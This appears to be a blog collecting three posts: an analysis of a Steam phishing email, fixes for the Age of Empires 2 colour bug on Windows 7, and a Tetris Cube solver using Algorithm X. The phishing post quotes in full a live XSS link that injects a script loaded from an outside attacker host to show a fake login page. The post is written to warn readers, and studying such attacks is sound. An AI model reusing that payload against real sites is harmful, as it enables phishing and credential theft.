Needless to say, I was pretty surprised, I didn't know Steam accounts could expire. Sure enough the e-mail looks legit, it's mailed from support@steam.com, didn't get caught by GMail's spam filter, and the corporate footer looks clean enough. If you have an eye for detail you might notice that there is a space missing here: "click here,login".

Let's check where this link leads to:

https://cafe.steampowered.com/directory.php?country=AL&amp;state='&gt;<script%20src%3dhttp://92.241.190.202/~faaaaaaa/phising/steam/iframe.js></script%20src%3dhttp://92.241.190.202/~faaaaaaa/phising/steam/iframe.js>

"cafe.steampowered.com" certainly looks okay, but now it becomes clear that the state variable has been tampered with. It certainly points to an external script, and putting it in the "phising" folder really doesn't look good... let's open the link. Here's how it looks in Chrome:

And sure enough, the page looks messed up. Let's look at the generated html source:

The phishers have now a fully working script tag injected in the source. Let's see what's in there:

Basically, the phisher is replacing the document body with an iframe which points to an evil url. Let's take a look at that url:

Sure enough, it's a fake Steam login page.

Now you might have noticed that the phisher's attack method wasn't working in my Chrome. Using Firefox, on the same machine, opening the URL from the mail immediately gives:

So, what have we learned?

Always check mails for spelling mistakes.
Always check mail and browser URLs for suspicious content.
If available: trust your spam/phishing filter.
If you're asked to re-enable your account and you get redirected to a general login page (like the fake on we saw), you can always open a new tab and go to steampowered.com (or other website) by typing it yourself and login that way.

Which actions should be taken?

Chrome, Firefox and others should detect this evil site as a phishing site (they detect most of them already, but new ones take a while before they get picked up).
GMail's spam filter failed here, I reported the e-mail as a phishing scam.
Steam has an XSS exploit in their site which they should fix as soon as possible. Never say that "XSS exploits aren't that dangerous"!

Solving Color Problem (Red Grass, Purple Water) In Age Of Empires 2: Age Of Kings (The Conquerors And Others Too) On Vista And Windows 7

2009-07-29T02:57:00.026+02:00

Changelog

Update (30-Jul-2011): A new update for the Palettestealersuspender program is up. This release brings some significant UI changes. The tool now loads and saves settings and hides to the notification area so it can run and monitor games in the background. I've restructured the accompanying blog post to move program instructions to a separate page.
Update (24-Apr-2011): A new update for my PaletteStealerSuspender program is up. This release fixes some bugs, and adds the ability to use the program in "batch/console"-mode. The readme contains usage details. The download link below leads you to the latest version.
Update (08-Sep-2010): I've added explanation for the new registry method (see comment). Also added a link to Jari Komppa's Ddrawimplementation.
Update (18-Apr-2010): A new version of the program is up again. This version includes the ability to wait for a game until it is started instead of starting the game itself. This is useful when using launchers or lobby programs like Garena which start the game for you.
Update (27-Mar-2010): I've added a new version of the program which fixes the "CD not found"-issue when using patch 1.0c for The Conquerors. Turns out the working directory for the executable should be set to "C:\Install Path\Age Of Empires 2" and not C:\Install Path\Age Of Empires 2\age2_x1".
Update (7-Feb-2010): I've added a new version of the program to fix a minor error which caused an exception to appear when starting the game in some rare cases. Download link still below.

Introduction

Recently I wanted to play an old favourite of mine: Age Of Kings: The Conquerors. The game had been running fine all the way from Windows 98 (and NT 4 as well, which was a pain to play games on at the time, but I digress) until Windows Vista. However, with Windows 7 - which I've been running happily for some time now - I stumbled on a roadblock: the colours were all wrong.

This is not an uncommon problem. Many people have had problems whenrunning the game on Vista or Windows 7, this is how you coulddescribe it:

Basically, the colors are all off.
It's Age Of Empires: Mars Edition.
Grass turns red, or green, after playing a few seconds...
...or the water turns purple.
Some trees turn red as well.

And this is what it looks like:

The thumbnail doesn't really bring it out, look at this ("zoom,enhance"):

The tree has an ugly red border around it and the grass turns toogreen (your experience might be worse).

Age Of Kings isn't the only game with this problem. Basically a lotof old Directdraw gamessuffer from this problem, like the first Age Of Empires, WormsArmageddon, and even Starcraft:

It's not too bad here though, most of the terrain looks okay.

Solutions and methods

There are a few different solutions floating around. Let's list themost common ones. I've also listed how wellthey work next to each number, so you can quickly scan thelist. Newest and best performing methods come last.

Unreliable and/or hard methods

Most methods below are unreliable, or do not work with everyone. Most of them are pretty annoying and/or hard to execute as well. If you want better solutions, just skip this part...

(1 - unreliable) Alt-tab out of thegame, and then maximize it again. This worked in XP (and in Vistafor some users), and works in some cases in Windows 7. I had noluck with this anymore though. The colors would work for a fewseconds, but then changed again.

(2 - unreliable) Change your in-gameresolution. Doesn't work in Windows 7 anymore either. Afterswitching resolutions, the colors even became worse. This mightwork in Vista, but this solution is not really preferred (you wantto play on the best resolution possible).

(3 - unreliable) Before starting thegame, open a explorer window. My Computer, a random folder,anything works. Surprisingly, this often worked in Vista with mostDirectdraw games. In Windows 7, not anymore.

(4 - unreliable) Mess around with the compatibilityoptions, especially Run in 256 colors, Disable visualthemes, Disable desktop composition, Displaydisplay scaling on high DPI settings and Run asadministrator. This works for some games/users, but I don'treally like this method as it has a lot of drawbacks (desktopwindows/icons messed up when you exit etc...).

(5 - mostly reliable butannoying) Close explorer.exe using theTask Manager. This works on both Vista and 7, for most games, butif you're like me, you don't like to close your 5+ open explorerwindows. Besides, there's a better solution...
This method has been added to the program (see below). Another wayis to create a batch script, if you don't want to use theprogram:

REM kill explorer.exe
taskkill /f /IM explorer.exe
REM start the game and wait to finish
REM note: /D indicates the starting directory, often the same as your
game's exe
start /WAIT /D "C:\path\to\game.exe" "C:\path\to\game.exe"
REM start explorer.exe again
start explorer.exe

Or, another method:

taskkill /f /IM explorer.exe
"C:\path\to\game.exe"
REM if the game finishes press enter to restart explorer
pause
start explorer.exe

(6 - mostly reliable butannoying) Download a mod or tool forAge Of Kings: The Conquerors to play it in windowed mode. You canget it here. Unzip thearchive into your installation folder, and run AoC.eXe. Ifyou want, you can also mess around in the config.xml fileto change some options. This is how it looks:

On my large monitor, I actually enjoy playing this way.

There are other mods out there for other games which allow to runthem in windowed mode. For Age Of Empires: Rise Of Rome, you canget thismod. Or you can get DxWnd which forces Directdraw(DirectX >=7) games to run in a window. I had no luck with itfor The Conquerors however. For Starcraft, there are also some tools floating around to fix theresolution/window/colors. For Worms: Armageddon, CyberShadow is working on a fix for the game(see here), so youmight want to keep an eye out for that.

(7 - mostly reliable butannoying) This is the newly found strange "ScreenResolution"-method. Found on this forum recently. This is a weird workaround but seems towork on every game I've tried. Follow these steps exactly: rightclick on your desktop and pick Screen Resolution. You'renot done yet (!), in the Screen Resolution window, clickAdvanced settings. Another window will open - click theMonitor-tab in that window. You should now be looking atsomething like this:

Now, leave these windows open, and start the game. The colorsshould work. Unbelievably weird (I had to pick the Monitor tab forit to work), but it works. If it works for you too, you may stopreading here :).

Newer and/or reliable methods

You'll find the easier, newer and more reliable methods in this section.

(8 - reliable)Download a tool I quickly whipped up to play Directdraw gamesin fullscreen without them changing colors. This tool will act as a launcher which places itself in your notification area and automatically suspends all applications which arechanging the game's colors and will bring them back alive when youclose the game. A full explanation and usage instructions for the tool can be found here.

(9 - reliable) Thanks to this comment I found out that Windows 7 actually provides a compatibility hack build in to allow running old DirectDraw games in all their glorious colors. The HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectDraw\Compatibility\ registry entry (or HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\Compatibility\ for 64bit Windows) contains entries for some popular games, such as Age Of Empires and Starcraft.

Then why are those games not working right? It turns out that the ID used in the registry entries are very specific to the game version. You can follow along with this blogpost to find out all about this hack.

If you don't want to download procmon to figure out the application ID yourself then you can download a tool by Mudlord here (or mirrored by me here because the original source seems to be down). The source code is included, and looks clean. To use it, open the w7ddpatcher.exe executable, and press Patch to add a DirectDraw application to the registry. After patching, the game should always work with correct colors, and you won't have to use the program every time you want to play the game (unless you change the executable e.g., by updating the game).

(!): note that this tool might not work with Windows Vista or XP, I've only tested it with Windows 7 myself. If you're using XP, you're probably better off using my tool (see #8 above), since it probably doesn't come with those registry entries. Also, the tool won't work out of the box for Age Of Empires 2 (and other SafeDisc using games), as that game needs an entry for age2_x1.icd instead for age2_x1.exe, as stated on this forum thread. Take a look at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication to find out the correct application ID and edit the registry entry manually accordingly.

(10 - reliable for certain games) A few days ago, this writeup from Jari Komppa got my attention. This coding wizzard has programmed a custom ddraw.dll which wraps all DirectDraw calls and redirects them to an OpenGL surface. Tip of the hat to this guy. Download the DirectDraw Hack DLL binary from his site and put it in the same directory as the game executable you're trying to run. It should work for Wing Commander, StarCraft 1, WarCraft 2, Fallout and Fallout 2.

(!): the DLL alas, does currently (as per last update to this blog post) not work for Age Of Empires 2. So I'm still shamelessly plugging my tool for that game (see #8 above).

Technical explanation

If you're interested in a little background on why thisproblem is happening, read on.

When I first encountered this problem, I already knew a little about DirectX, the GDIand the WindowsAPI. Basically, back in the day, DirectX (which handles a lotof the graphics and multimedia workload in games and other program)included a component called Directdraw, used for rendering 2D graphics.

PCs back then weren't really powerful. Everything had to be asfast as possible, even color handling. Sosomething which Directdraw did for you was maintaining a palette of256 colors. Like a painter, programmers could fill this palettewith 256 colors they would use: ten greens for grass, 6 blues forwater, and so on. Some of these 256 colors are static (but thenagain, not always) and cannot be changed. If you're interested inthe deep and dirty details: this page does a goodjob explaining it.

Now this is the thing: if you're a fullscreen game, you don'twant other programs screwing up the system palette, changing yourbeautiful chosen colors to ugly greens and reds. And this is what'shappening in Windows 7. If you read SystemPalette and Static Colors on MSDN, it states that "However,because changing the static colors can have an immediate anddramatic effect on all windows on the display, an applicationshould not call SetSystemPaletteUse, unless it has a maximizedwindow and the input focus." Alas, this is not enforced by Windows,and thus explorer.exe (which comes from Microsoft mindyou) and other programs will happily callSetSystemPaletteUse and mess the poor fullscreen DirectDraw game up.

I googled a bit around to see if I could find any clues.This message at Stackoverflow describes the same problem. This message is actually posted by the maintainers ofWorms: Armageddon. No-one provided ananswer though. I opened up Visual Studio (which was stillinstalled) to quickly throw something together in VB.NET to intercept the WM_SYSCOLORCHANGE,WM_PALETTECHANGED, WM_PALETTEISCHANGING andWM_QUERYNEWPALETTE messages and look at where they'recoming from. Basically, three processes are fighting:

CHANGING from (0)
CHANGED from Age of Empires II Expansion (135458)
Device context: 16847861
Process: 4508: age2_x1
Got 256 palette size scr
[...]
CHANGED from GDI+ Window (917744)
Device context: 184626156
Process: 2452: explorer
Got 256 palette size scr
CHANGED from (65552)
Device context: 1744905863
Process: 540: csrss
Got 256 palette size scr
[...]

The game itself, explorer.exe, andcsrss.exe.

I then wanted to make a program which would change the palette backevery time an outside process tried to change it. A had a wholelist of functions loaded and code written, but it just didn't work out and turned out to be too difficult.Also, I was beginning to suspect that this method could work, butwould still result in flickering while changing palettes. I wasbrowsing around at the Worms Armageddon forums, andfound out that somebody wrote a DLL with source code for thisproblem. The code was written in Delphi and easy enough toread: grab a process, find every thread, and send thesuspend message to every thread. I converted this code to VB.NETand slapped it on a form which would grab everyWM_PALETTECHANGED message to update its list ofprocesses.

Note that there is actually also a lesser known way to suspend aprocess with one API call, without iterating all the threads, which isused in the PsSuspend- and Process Explorer tools made bySysInternals:

_
Public Shared Function NtSuspendProcess(ByVal ProcessHandle AsIntPtr) As Integer
End Function
 _
Public Shared Function NtResumeProcess(ByVal ProcessHandle AsIntPtr) As Integer
End Function

The full source code for my PalettestealerSuspender program can be found on this page on my blog. Consider it a reward for reading all the way to the end.

Solving A Tetris Cube, Recursive Backtracking, Algorithm X, Oh My!

2009-06-23T01:34:00.009+02:00

A few days ago I got my hands on one of these:

A Tetris Cube. Twelve pieces, and a box of 4 by 4 by 4. Your task: to put the pieces neatly in the box again. The box said there are more than 9000 solutions, but I knew nonetheless this wasn't going to be an easy task. I was going to solve it, "Without cheating!", I proclaimed proudly.

An hour or so later these little blocks were completely driving me crazy. Usually I'm not that bad with these kinds of puzzles, but this thing certainly proved to be very difficult. I decided to call it a day and would try again later.

The next day I tried again, I was making a little progress, but every time I came close a little piece stuck out just a tiny little bit! This was going nowhere. If I were to beat this devil's contraption, I would need to resort to other means.

"I'll just throw together a recursive function real quick, that should be easy enough, right? (And no, that is not cheating...)" How I came to regret those words. In my experience, this:

I'll just quickly find a solution with recursive backtracking.

Almost always turns into this:

Damn, damn, damn! Why is it so slow? How can I speed this thing up?

But first things first. There are a few ways you could solve this, but first, let's take a slight detour to explain backtracking (you may skip this if you already know all this, but if you do know all this, then you probably know the solution to the puzzle as well, or would handle things better than I did):

Detour: Recursive backtracking in general

Let's see what a recursive backtracking function generally looks like:

recursive_funtion(level) {
  for all possible ways for something {
    try it
    if solution valid {
      if solution complete {
        done, show solution
      }else{
        recursive_function(next_level)
      }
    }
    (revert this try)
  }
}

As you can see, this method consists of a level, which we traverse in each recursive call, and a set of local decisions we make at each level. Take a magic square, for example (image from the Wikipedia page):

With the above method, we would define our level as the position in the grid (ranging from 1 to 9, as there are 9 spaces to fill with a number), the decisions at each level would be a number ranging from 1 to 9, our function would be:

recursive_funtion(position) {
  for number from 1 to 9, not used elsewhere already {
    put this number on this position, make it unavailable
    if solution valid {
      if solution complete {
        done, show solution
      }else{
        recursive_function(next_position)
      }
    }
    (make this space blank again, and the number available)
  }
}

A few remarks:
(1) As each number can only be used once in the whole square, we must keep an array or set somewhere to keep track of the numbers used, which can be easily done in each programming language.
(2) Note that we can check mid-solution, we must not wait until we are at position 9 (the last position) to check if the solution is valid. In fact, we can speed things up a bit by implementing a few optimalizations. For example: after each row is done (at positions 3, 6 and 9), check if this row sums to 15, if it does not, there is no sense continuing towards deeper levels in our tree.

Speaking of trees, I hope you see how the combination of levels and decisions correspond to a tree. If you do not: here is a picture:

(Not all levels, lines and branches are shown, but it should give you a pretty clear idea.) Note that, if we picked e.g. the number 2 for position (level) 1, we cannot use it in the following levels, as shown in the tree.

Now let's see how the function will work, we start at the first level, with the first number:

This is a valid choice, so we can step down to the next level. In level 2, our first number we can pick is 2:

This is a valid choice, so we can step down to the next level. In level 3, we can pick 3, let's see what happens:

Since we now have a complete row, we can check if the sum 1+2+3=15. Is isn't, so it makes no sense to continue at this point. Look at the huge part of the tree we can "cut off", as shown by the red curved line.

We're still in level 3, we try the following number: 4. 1+2+4=7, which isn't 15. We can cut away this part as well. Number 5 gives 8, 6 gives 9, and so on until number 9 gives 1+2+9=12, all the branches have been cut. Note that we can make an important observation here: your optimizations should try to cut away from the tree as early as possible, that way, the solution space in which we have to search can be decreased dramatically. (This is also the reason why the hardest choices or levels are often put first in these trees.)

Now the algorithm "backtracks" back to level 2, and tries the following number there: 2:

And so on (the yellow numbers are the ones we've "done", or excluded in our optimization). This continues until we find a solution, e.g.:
Level 1: 2, level 2: 7 and level 3: 6 gives 15;
level 4: 9, level 5: 5 and level 6: 1 gives 15;
level 7: 4, level 8: 3 and level 9: 8 gives 15.

Back on track (no pun intended): recursive backtracking in this case

For the Tetris Cube, we have tree decision variables:
(1) the block used (there were 12 different blocks);
(2) the position were we put the block;
(3) the rotation of the block.

If we'd used position as the level, we have 64 different levels (4x4x4). If we were able to place any remaining block at this position, we could immediately use the next unoccupied space as the position in the next recursive call (since it makes no sense trying all the occupied positions first, since they won't validate anyway).

If we'd used block as the level, we have 12 different levels. If we are able to place this block at any available position in a specific rotation, we can move on the the next block. It seems a bit more sensible to use this method. This way, our tree will be smaller (less tall), and the decisions inside the function purely concern position and orientation in 3d-space. Our function now looks like:

recursive_funtion(block) {
  for all positions 1 to 64 {
    for all orientations 1 to 24 {
      put our block at this position in this orientation
      if solution valid {
        if solution complete {
          done, show solution
        }else{
          recursive_function(next_block)
        }
      }
      (remove this block)
    }
  }
}

There are still a few questions left we have to answer, mainly: the different rotations, and how we can validate a partial solution. But first: let's take a look at the different blocks and how we can encode them.

The different blocks

There are 12 blocks, colored in either red, blue or yellow (but the colors themselves mean nothing, they just add decoration). Since the 3d-modelling program Blender runs too slow on my laptop (Compositing enabled and such) I quickly whipped out a few lines of Povray code.

Did you know I can do animations too?

Now how do we encode them? Each block can be described by a set of tiny 1x1x1 sub-blocks placed along the x, y and z axes. I call the tiny block placed at (0,0,0) the pivot. Take the red L for example, this block can be described as a combination of five little blocks:
{(0,0,0); (1,0,0); (2,0,0); (0,1,0); (0,2,0)}
(0,0,0) is the corner-block and our pivot.

Another way of describing this block with another pivot point:
{(0,0,0); (1,0,0); (2,0,0); (2,1,0); (2,1,0)}

As you can see, it doesn't matter which sub-block we use as our pivot block or how we places our x,y and z axes. Since our function will try every position and every possible rotation, we try every combination anyway.

Now why are there 24 rotations? Every block can be placed facing the direction along: x positive, x negative, y positive, y negative, z positive and z negative, which gives 6 possible directions.
For every direction, we can rotate the block in 4 different ways (0°, 90°, 180° and 270°). 4x6=24. Easy.

Taking the description {(0,0,0); (1,0,0); (2,0,0); (0,1,0); (0,2,0)} and saying: put this block in position 34 facing y negative and rotated 90° now just becomes a matter of transforming and rotating objects in 3d. I won't describe the details here, it involves some matrix manipulations and such, but are really simple when rotating in the four degrees mentioned above. If you want to know more, take a look here or Google it.

In PHP, the language I was using (I know, I know - remember, I thought this would be a quick and easy job), a block description looks like:

//  1 1 1
//  1
// (1)
$blocks[] = array(array(0,0,0)
    ,array(0,1,0)
    ,array(0,2,0)
    ,array(1,2,0)
    ,array(2,2,0) );

Verifying partial solutions

Just as with our magic square, we can do a few checks after placing a few blocks, a few of them are necessary:
(1) a block may not overlap another block;
(2) a block may not go outside the bounds of the 4x4x4 block.

You could also get creative:
(3) a block may not be placed in such a way that we have an isolated empty space. This is, a space surrounded by occupied spaces (or by the bounds of our 4x4x4 cube).

Trying the program

We're done, I was exited, I would beat this thing!

The program now looked like this (you can't read the code - believe me, it's a good thing):

The program was running dog slow. It was doing lots of block-position-rotation combinations very fast, but it was still too slow. I thought I had made an error, and changed some parameters. I used a 2x2x2 bounding box with only three little pieces to fill it with. The program immediately displayed all the solutions (not that many of course). It was working fine, but couldn't handle the large solution space of a 4x4x4 box. That's the problem with recursive backtracking, a "magic square" (see above), with 9 spaces is easy enough, but one with 10 spaces is a lot harder, and one with 11 spaces is even harder then the previous increment (non-linear). It was back to the drawing board again.

The following day...

The next day I decided to Google around a bit. It turns out that someone else has already solved this puzzle and posted his method online here. The author seems to like solving all these puzzles. Most of his findings and description is exactly the same as what I found, so why did his method work. You can download his program (http://scottkurowski.com/tetriscube/TetrisCubeSolved.zip) and take a look at the source code yourself.

So why was his program working?
(1) C! It's a pity, but C is much, much faster than PHP, a factor we can't omit here.
(2) He doesn't use a backtracking recursive function, but the general method is the same (a bunch of goto's and iterating over all the possible permutations the place the blocks one by one). It does backtrack however.

It's a pretty and well-written program. I felt defeated. Both by the puzzle and by an other programmer. Since I didn't want to rewrite everything in C to see if a recursive method would prove successful there (I don't like C), I wanted to see if I could solve it using a "slow" language anyway: less brute-forcing, more being smart.

Searching for a better method

I recalled reading something about Dancing Links and how someone solved a Sudoku puzzle with them. "Sudoku and Tetris Cubes look alike", I thought. So I continued researching this.

First of all, we have "Algorithm X", an algorithm found by Donald Knuth for solving exact cover problems. Exact cover problems are problems in which every constraint is an "exactly one"-constraint. Knuth uses the Pentomino puzzle as an example (every piece should be used exactly once and every space must be overlapped by a piece exactly once).

Also - more good news - Algorithm X is recursive and backtracking, it basically optimizes the way the recursion is done (see the linked Wikipedia page above to see how the algorithm works, make sure you understand it before continuing, it's quite easy and Wikipedia does a really good job at explaining it.)

Dancing Links is a method to implement Algorithm X based on the fact that it is very easy to remove and re-add elements in a double linked list. Instead of using this, I first decided to try a simple Algorithm X implementation.

Basically, Algorithm X performs a few operations on a matrix in which each element is either zero (0) or one (1). A solution is then a set of rows so that in each column there is only one one (1).

Take the Pentomino puzzle for example (if you aren't familiar with the puzzle, take a look here). It is basically the same problem as our Tetris cube, except for the fact that it is in 2d instead of 3d. We construct a matrix as such (from Wikipedia):

There are two constraints:
(1) for each of the 12 pieces, there is the constraint that it must be placed exactly once. Name these constraints after the corresponding pentominoes: F I L P N T U V W X Y Z.
(2) for each of the 60 spaces, there is the constraint that it must be covered by a pentomino exactly once.

Thus there are 12+60=72 constraints in total.

The problem involves many choices, one for each way to place a pentomino on the board. It is convenient to consider each choice as a sets of 6 constraints: 1 constraint for the pentomino being placed and 5 constraints for the five squares where it is placed. For example:

{F, 12, 13, 21, 22, 32}
{F, 13, 14, 22, 23, 33}
{I, 11, 12, 13, 14, 15}
{L, 12, 22, 32, 42, 43}
…

One of many solutions of this exact cover problem is the following set of 12 choices:

{I, 11, 12, 13, 14, 15}
{N, 16, 26, 27, 37, 47}
{L, 17, 18, 28, 38, 48}
{U, 21, 22, 31, 41, 42}
{X, 23, 32, 33, 34, 43}
{W, 24, 25, 35, 36, 46}
{P, 51, 52, 53, 62, 63}
{F, 56, 64, 65, 66, 75}
{Z, 57, 58, 67, 76, 77}
{T, 61, 71, 72, 73, 81}
{V, 68, 78, 86, 87, 88}
{Y, 74, 82, 83, 84, 85}

So, in our case, we need a row for every choice we can make, that is: all the combinations of every piece and every possible way of placing it. Our finds every valid possible combination for every block and constructs rows in the matrix:

for every block {
  for every position {
    for every rotation {
      try this, if this placement is possible (thus if it does not exceed the boundaries of the 4x4x4 box, add it as a row: {BLOCK; pos1, pos2, pos3,...}
    }
  }
}

Now our columns: we have 12 blocks, and 64 positions these blocks can occupy. 12+64=76. For every row, we:
(1) set a one (1) in one of the first twelve columns according to the block this row uses;
(2) set a one (1) in every "position" this row occupies.

After quickly throwing some ugly code together, I ran the program. First, it constructs the choices and the matrix:

Constructing choices:
0: ................................................................
1: ................................................................
2: ................................................................
3: ................................................................
4: ................................................................
5: ................................................................
6: ................................................................
7: ................................................................
8: ................................................................
9: ................................................................
10: ................................................................
11: ................................................................
Number of choices/rows: 4488 out of 18432 theoretical possibles choices
Constructing matrix: .................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Done, number of rows: 4488 and cols: 76

The matrix itself is a bit large to display here. But here are the first few rows:

OUTPUTTING MATRIX:
0  {0; 0; 1; 2; 6; 7; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
1  {0; 0; 1; 2; 18; 19; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
2  {0; 0; 4; 8; 9; 13; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
3  {0; 0; 16; 32; 33; 49; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0
4  {0; 0; 4; 8; 24; 28; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
5  {0; 0; 16; 32; 36; 52; }:  1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0
6  {0; 1; 5; 9; 10; 14; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
7  {0; 1; 17; 33; 34; 50; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0
8  {0; 1; 5; 9; 8; 12; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 1 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
9  {0; 1; 17; 33; 32; 48; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
10 {0; 1; 5; 9; 25; 29; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
11 {0; 1; 17; 33; 37; 53; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0
12 {0; 2; 6; 10; 11; 15; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13 {0; 2; 18; 34; 35; 51; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0
14 {0; 2; 6; 10; 9; 13; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 1 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
15 {0; 2; 18; 34; 33; 49; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0
16 {0; 2; 6; 10; 26; 30; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
17 {0; 2; 18; 34; 38; 54; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0
18 {0; 3; 2; 1; 5; 4; }:  1 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
...

As you can see, in these rows, the first block (number zero) is used, so the first column is one (1), the next eleven columns are zero (0). The next 64 columns are one if the row uses that position.

The program then gives some verbose information:

==> (0) Number of rows: 4488 and cols: 76
Picking 12, has 117
117 rows to do for column
==> (1) Number of rows: 3414 and cols: 70
Picking 15, has 22
22 rows to do for column
==> (2) Number of rows: 2025 and cols: 64
Picking 17, has 45
45 rows to do for column
==> (3) Number of rows: 1156 and cols: 57
Picking 26, has 10
10 rows to do for column
...
==> (10) Number of rows: 9 and cols: 12
Picking 4, has 3
3 rows to do for column
==> (11) Number of rows: 0 and cols: 0
<== Column has zero ones. ==> (11) Number of rows: 0 and cols: 0
<== Column has zero ones. ==> (11) Number of rows: 0 and cols: 0
<== Column has zero ones. ==> (10) Number of rows: 10 and cols: 12
Picking 4, has 2
2 rows to do for column
==> (11) Number of rows: 0 and cols: 0
<== Column has zero ones. ==> (11) Number of rows: 2 and cols: 6
Picking 10, has 2
2 rows to do for column
==> (12) Number of rows: 0 and cols: 0

And finally, a first solution is found, alongside a simple presentation to try it on the cube:

All done, here is a list of choices:
CHOICE NR 0: 0 0 1 2 6 7
CHOICE NR 393: 1 19 3 23 22 21
CHOICE NR 741: 2 5 9 13 29 30 45
CHOICE NR 1113: 3 15 31 14 11 10
CHOICE NR 2693: 7 4 8 12 28 44
CHOICE NR 2371: 5 63 62 46 61 60
CHOICE NR 3328: 8 58 47 42 43 39 27
CHOICE NR 3621: 9 38 51 54 55 59
CHOICE NR 4427: 11 49 53 50 34 35 18
CHOICE NR 2635: 6 56 57 40 24 20 16
CHOICE NR 2004: 4 48 52 32 33 17
